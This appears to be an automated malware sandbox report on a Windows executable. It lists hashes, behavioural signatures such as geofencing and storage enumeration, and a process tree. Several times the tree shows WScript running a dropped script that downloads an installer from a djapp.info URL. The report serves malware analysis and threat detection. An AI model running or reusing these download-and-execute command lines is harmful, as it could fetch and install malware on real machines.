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Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28/11/2022, 05:50

General

  • Target

    ad1604fa3feddd2ad788ae98f29f9d9a3a7bde248bd5fd4af4c8427d7b65985e.exe

  • Size

    184KB

  • MD5

    78dbce0a666c509a604fe15b95e7ca9c

  • SHA1

    f871b9f413430b05d8e0e36768d9b8cdd74dde22

  • SHA256

    ad1604fa3feddd2ad788ae98f29f9d9a3a7bde248bd5fd4af4c8427d7b65985e

  • SHA512

    a7e38855bd65abbfcf3d34d35da12a11f2029d91ca71135621ef2b9782b8703a0021376ad8c4a3d103fc6300c7b210c7a15e5c378982036b672b90605cda952d

  • SSDEEP

    3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3Q:/7BSH8zUB+nGESaaRvoB7FJNndnd

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 16 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies registry class 1 IoCs
  • Script User-Agent 5 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ad1604fa3feddd2ad788ae98f29f9d9a3a7bde248bd5fd4af4c8427d7b65985e.exe
    "C:\Users\Admin\AppData\Local\Temp\ad1604fa3feddd2ad788ae98f29f9d9a3a7bde248bd5fd4af4c8427d7b65985e.exe"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:1100
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf91A6.js" http://www.djapp.info/?domain=kWGbEuUOHF.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmG C:\Users\Admin\AppData\Local\Temp\fuf91A6.exe
      2⤵
      • Blocklisted process makes network request
      PID:4596
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf91A6.js" http://www.djapp.info/?domain=kWGbEuUOHF.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmG C:\Users\Admin\AppData\Local\Temp\fuf91A6.exe
      2⤵
      • Blocklisted process makes network request
      PID:4140
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf91A6.js" http://www.djapp.info/?domain=kWGbEuUOHF.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmG C:\Users\Admin\AppData\Local\Temp\fuf91A6.exe
      2⤵
      • Blocklisted process makes network request
      PID:1560
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf91A6.js" http://www.djapp.info/?domain=kWGbEuUOHF.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmG C:\Users\Admin\AppData\Local\Temp\fuf91A6.exe
      2⤵
      • Blocklisted process makes network request
      PID:932
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf91A6.js" http://www.djapp.info/?domain=kWGbEuUOHF.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmG C:\Users\Admin\AppData\Local\Temp\fuf91A6.exe
      2⤵
      • Blocklisted process makes network request
      PID:2216

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\fuf91A6.js

    Filesize

    3KB

    MD5

    3813cab188d1de6f92f8b82c2059991b

    SHA1

    4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

    SHA256

    a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

    SHA512

    83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76